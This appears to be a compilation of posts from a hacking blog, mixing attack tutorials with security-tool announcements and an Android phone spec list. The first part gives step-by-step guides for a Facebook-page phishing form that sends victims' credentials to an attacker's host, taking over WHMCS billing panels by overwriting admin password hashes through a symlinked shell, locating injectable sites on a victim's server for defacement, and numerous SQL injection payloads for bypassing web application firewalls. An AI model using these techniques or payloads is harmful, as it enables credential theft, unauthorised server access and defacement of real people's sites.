Phishing via Facebook Pages

So I’m back again Guy’s with an Amazing Tutorial and  Today We will learn to Hack Facebook accounts through Facebook Pages!

Things Required:

• Facebook Page
• Scripts

Now First Search “Static HTML: iframe tabs“

And Open The App.

After Opening Then Click ” Add Static HTML to My Page”.

Then Choose The Page You want to add.

Then Your aapp will be created on the Page with the name of “Welcome” Click on that and then 
click on “Edit Tab”

Then Put the Script name “ml_form.html”(Given the link above)

And change the url to the saveit.php file you hosted on(Link given above)

and then make changes if you want and then click  “Save Tab”.

And y0 our Phishing Page Created on Facbook Page 😉

Now Whenever anyone will put password or e-mail there so the email and password will be sent to “www.filesyouhostedon.com/madleets.html”

And Enjoy 😉

NOTE: KideSec.Com is not responsible for any illegal attempts.

WHMCS Hacking

Hello Friends 🙂

I’m BaCk with A Great Tutorial again 😉

ToDay We Will Hack into WHMCS which is also called as billing panel and domains are also registered and suspended thorugh WHMCS Panel 🙂

Things We Need:

• Symlink Enable Shell
• Symlink Files
• My Tutorial 😉

Now Lets Start 

First Go to The Shell and Symlink it  There are many Tutorials on Symlink so you can easily learn

Now The Thing is that we should get the config of WHMCS in the server  like

the config named .. xyz~~whm.txt

open that config and Copy the configuration and log into the databse through sql.php or DBKiss and then go to the table

named “tbladmins”. Edit the password into your own but in md5 and change username if u want 

then save and then copy the name of config like xyz~~whm.txt is the config so copy “xyz” as a user and search it in domains.php and you’ll get the 

url of website  then click on symlink and search directories like .. most of the whmcs have billing panel in /clients/admin/ .

Then after opening … login as the details you filled in the database but you’ll not enter the password in md5 and you’ll write the password which you encrypted in md5 .

I Hope Everybody Enjoyed

./TR4CK3R

Top Android Mobiles For Hackers~

Best Android Mobiles For Hacking And Pentesting 

Hey Guys Whats Up ? as you can read the title that i am going to share some popular Android Mobiles for hacking and pentesting..

Ok , Lets Get BuZZzZy!

Ok Lemme start it with Samsung ;D

Samsung Galaxy S2

OS	Android OS, v4.1.2 (Jelly Bean)
Memory	8GB built-in, 1GB RAM, microSD card (supports up to 64GB)
Processor	Dual core 1.2 GHz, Broadcom BC28155 Chipset

Qmobile Noir A20

OS	Android OS, 4.1 Jelly Bean
Memory	4GB built-in + 8GB card included in box, 1GB RAM, microSD card(supports up to 32GB)
Processor	Quad-core 1.2 GHz, ARMv7 Chipset, GPU (PowerVR SGX)

Qmobile Noir A50

OS	Android Jelly Bean (v 4.1)
Memory	4GB ROM, 512 RAM, microSD card (supports up to 32GB)
Processor	1GHz Dual Core

Huawei Ascend G510 U8951

OS	Android OS, v4.1 (Jelly Bean)
Memory	4GB built-in, 512MB RAM, microSD card(supports uo to 32 GB)
Processor	Dual core 1.2 GHz Cortex-A9

Sony Xperia L 

OS	Android OS, v4.1 (Jelly Bean)
Memory	8GB built-in 1GB RAM, microSD Card (supports up to 32GB)
Processor	Dual-core 1 GHz, Qualcomm MSM8230 Snapdragon Chipset

Samsung Galaxy Note II

Android OS, v4.1.1 (Jelly Bean)
Memory	16/32/64GB built-in, 2GB RAM, microSD card (supports up to 64GB)
Processor	Quad-core 1.6 GHz Cortex-A9

Samsung Galaxy S3

Android OS, v4.0.4 (Ice Cream Sandwich)
Memory	16/32/64GB built-in, 1GB RAM, microSD card (supports up to 64GB)
Processor	Quad-core 1.4 GHz Cortex-A9 + Mali-400MP GPU, Exynos 4212 Quad

HTC One

OS	Android OS, v4.1.2 (Jelly Bean), upgradable to v4.2.2 (Jelly Bean)
Memory	32/64GB built-in, 2GB RAM
Processor	Quad-core 1.7 GHz Krait 300, Qualcomm APQ8064T Snapdragon 600 Chipset

Sony Xperia Z

OS	Android OS, v4.1.2 (Jelly Bean), planned upgrade to v4.2 (Jelly Bean)
Memory	16GB built-in 2GB RAM, microSD Card (supports up to 32GB)
Processor	Quad-core 1.5 GHz Krait, Qualcomm MDM9215M / APQ8064 Chipset

How To Hack Targeted Server ?

How To Hack Your Victim’s Website ?

umm.. in this post i’ll tell you how to hack your victim’s website easily ;D

This method is very well-known method , used by around every hacker..

This Method Is Also Known As Reverse IP Hacking

In this method we will try to get access to other websites hosted on Same Server

Let the Game Begin ;D

First of all get the website you want to hack and than open CMD ( Command Prompt)

Open Start Menu => Run => type cmd in box

Or Simply Press Windows Logo Button + R 

than type cmd in box

Now type ping website address and hit enter

than you’ll get I.P Address of the website 

now goto bing.com and type

ip:xxx.xxx.xxx.xxx .php?id= 

replace xxx with I.P Address 🙂

it will give you all the websites hosted on the server 

now you can check them for SQL injection vulnerability…

Note:- After Getting Access Dont Forget To BUZZ The Serer ;D

kidsec.com

Zaid Sparrow

Advance WAF ByPassing Techiques

How To Bypass Forbidden Error SQL Injection

Today I am going to show you how to bypass Web Application Firewalls (WAF).

Let’s Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the “UNION SELECT” command), you get an 403 Error (and the website says “Forbidden” or “Not Acceptable”).

Example:

Code:

http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4....
(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF…

1) Comments:
You can use comments to bypass WAF:

Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4....
(First Method that can Bypass WAF)

However, most WAF identify this method so they still show a “Forbidden” Error…

2) Change the Case of the Letters:
You can also change the Case of the Command:

Code:

Code:

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4....
(Another Basic Method to Bypass WAF!)

However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods:

What you can also do is to combine the previous two methods:

Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4....
This method is not detectable by many Web Application Firewalls!

4) Replaced Keywords:

Some Firewalls remove the “UNION SELECT” Statement when it is found in the URL… We can do this to exploit this function:

Code:

Code:

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4....
(The "union" and the "select" will be removed, so the final result will be: "UNION SELECT" 😀 )

This method doesn’t work on ALL Firewalls, as only some of them remove the “UNION” and the “SELECT” commands when they are detected!

5) Inline Comments (Thanks to Crysan):
Some firewalls get bypassed by Inserting Inline Comments between the “Union” and the “Select” Commands:
Code:

Code:

http://www.site.com/index.php?page_id=-15 UnION/**/SElecT 1,2,3,4...
(The U is equal to "U" and S to "S". See more on the Advanced Section....)

I believe that these are the most basic Methods to WAF Bypassing! Let’s move on more advanced ones…

Advanced Methods:

Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash:
Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

Code:

Code:

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4....

(( You can test if the WAF can be crashed by typing:
?page_id=null
/**//*!50000UnIOn*//*yoyu*/all/**/
/*!SeLEct*/
/*nnaa*/+1,2,3,4....

If you get a 500, you can exploit it using the Buffer Overflow Method! :: Thanks Crysan for the Test))

2) Replace Characters with their HEX Values (Thanks to Crysan!):
We can replace some characters with their HEX (URL-Encoded) Values.

Example:
Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!union*/ /*!select*/ 1,2,3,4....
(which means "union select")

Text to Hex Encoder (Choose the “Hex Encoded for URL” result!): http://www.swingnote.com/tools/texttohex.php

3) Use other Variables or Commands instead of the common ones for SQLi:
Apart from the “UNION SELECT” other commands might be blocked.
Common Commands Blocked:Code:

Code:

COMMAND | WHAT TO USE INSTEAD

@@version | version()
concat() | concat_ws() --> Difference between concat() and concat_ws(): http://is.gd/VEeiDU
group_concat() | concat_ws()

[!]-> You can also try to SQL Inject with the NAME_CONST Method: http://is.gd/o10i0d (Created by Downfall)
Learning MySQL Really helps on such issues! 😉

4) Misc Exploitable Functions:
Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:
The firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:

Code:

Code:

http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4...
(If the Firewall removes the "*", the result will be: 15+union+select....)

So, if you find such a silly function, you can exploit it, in this way! 😀

[+] In addition to the previous example, some other bypasses might be:

Code:

-15+(uNioN)+(sElECt)....

-15+(uNioN+SeleCT)+...

-15+(UnI)(oN)+(SeL)(ecT)+....

-15+union (select 1,2,3,4...)

tut Is not Written By Me , Every Credits Goes To Author ~

Kidsec.com

Network Security Toolkit v2.16.0-4104 Released

The Network Security Toolkit is bootable ISO live CD/DVD (NST Live) is based on Fedora. The toolkit was designed to provide easy access to best-of-breed Open Source Network Security Applications and should run on most x86/x86_64 platforms. 

he main intent of developing this toolkit was to provide the network security administrator with a comprehensive set of Open SourceNetwork Security Tools. An advanced Web User Interface (WUI) is provided for system administration, navigation, automation and configuration of many network and security applications found within the Network Security Toolkit distribution.

In the virtual world, NST can be used as a network security analysis, validation and monitoring tool on enterprise virtual servers hosting virtual machines. Network Security Toolkit also makes an excellent tool to help one with crash recovery troubleshooting scenarios and diagnostics.

Download Network Security Toolkit v2.16.0-4104

Yaptest – Penetration Framework

It is a penetration testing framework that helps automate the boring parts of pentests.Yaptest aims to make it easy for a pentester to automate parts of testing on the fly. This is particularly useful when testing very large networks. Below are some examples of tasks which would be easy to automate using yaptest:

• Run nikto on anything nmap thinks is an HTTP service
• Run hydra on every host with TCP port 21 open
• Attempt upload a file to any TFTP servers found
• Run onesixtyone on all hosts that are up
• Try metasploit’s solaris_kcms_readfile exploit against any hosts running kcmsd

Yaptest is the glue between your favourite tools and the knowledge base gathered during your pentest. It handles all the mundane stuff that can easily be automated and leaves you free to get on with owning boxes demonstrating risk using techniques that yaptest doesn’t know about yet.

Download Yaptest

ARPwner – 2Side Poisoning Tool

ARPwner was released at BlackHat USA 2012 by Nicolas Trippar. It is a tool to do arp poisoning and dns poisoning attacks, with a simple gui and a plugin system to do filtering of the information gathered, also has a implementation of sslstrip and is coded 100% in python, so you can modify on your needs.

Download ARPwner

Volatility 2.2 Framework –

The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer unprecedented visibilty into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.

Windows Basic

• Current date, time, CPU count, CPU speed, service pack
• Current thread and idle thread
• Addresses of the KDBG, KPCR, DTB, PsActiveProcessHead, PsLoadedModuleList, etc

Processes

• List active processes (column or tree view)
• Scan for hidden or terminated _EPROCESS objects (using pool tags or _DISPATCHER_HEADER)
• Enumerate DLLs in the PEB LDR lists
• Rebuild/extract DLLs or EXEs to disk based on name, base address, or physical offset
• Print open handles to files, registry keys, mutexes, threads, processes, etc
• List security identifiers (SIDs) for processes
• Scan for cmd.exe command history and full console input/output buffers
• List process environment variables
• Print PE version information from processes or DLLs (file version, company name, etc)
• Enumerate imported and exported API functions anywhere in process or kernel memory
• Show a list of virtual and physical mappings of all pages available to a process
• Dump process address space to disk as a single file
• Analyze Virtual Address Descriptor (VAD) nodes, show page protection, flags, and mapped files
• Represent the VAD in tree form or Graphviz .dot graphs
• Dump each VAD range to disk for inspecting with external tools
• Parse XP/2003 event log records

Miscellaneous

• Link strings found at physical offsets to their owning kernel address or process
• Interactive shell with disassembly, type display, hexdumps, etc
• And Much More , More Than Your Imagination ~

Download Volatility 2.2

Server Analyser : Simple Server Malware Scanner

Server Analyser  is a service for detecting and analyzing web-based threats. It currently handles shells, obfuscated JavaScript, Executables, Iframes and port scans.

Featured added:

+ Logging scans

+ Just paste the results ( option 1 )

+ Added new Exploit methods to option 1

+ Latest infections ( will be updated automaticly )

+ Added PHP Shell detection exec()/system() etc. ( more will be added soon )

+ The code has been changed into a smaller one

+ Added new BlackHole methods

+ Added different javascript methods

+ Added decoded php syntaxes

+ gzinflate

+ var url

+ base64_decode

+ The Beta has been releases and uploaded

+ code improvements

+ fixed the dos2unix issue

Download Server Analyser